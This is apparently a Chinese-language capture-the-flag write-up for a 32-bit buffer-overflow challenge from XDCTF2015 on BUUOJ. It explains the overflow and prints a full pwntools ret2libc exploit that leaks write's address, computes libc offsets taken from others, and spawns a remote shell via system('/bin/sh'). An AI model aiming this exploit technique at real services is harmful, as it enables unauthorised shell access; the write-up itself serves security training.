# 1. 查看程序

32 位程序,开启了 NX

ida32 查看

main:

vuln:

# 2. 漏洞分析

可以发现 read 读入的字节数可以导致栈溢出,但是没有后门函数,我们可以进行泄露 libc 来 getshell,这里利用 LibcSearcher 没有找到对应的 libc,然后就用了 DynELF 方法,来找到 system 地址,但是还是没有成功

# 3.exp

最后利用别人的偏移量才成功,泄露的地址是对的,但是都找不到正确的偏移量就用了别人的

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
e=ELF('./bof')
p=remote('node4.buuoj.cn',29207)
write_got=e.got["write"]
write_plt=e.plt["write"]
main_add=e.sym["main"]
payload=b"a"*(0x6c+4)+p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(5)
p.sendline(payload)
p.recvuntil("Welcome to XDCTF2015~!\n")
write=u32(p.recvuntil('\xf7')[-4:])
print("write:",hex(write))
libc_base=write-0xd43c0
system = 0x3a940 + libc_base
bin_sh = 0x15902b + libc_base
p.recvuntil("Welcome to XDCTF2015~!\n")
payload2=b"a"*(0x6c+4)+p32(system)+p32(main_add)+p32(bin_sh)
p.send(payload2)
p.interactive()

【还有一个方法是用 ret2dl_resolve 解决】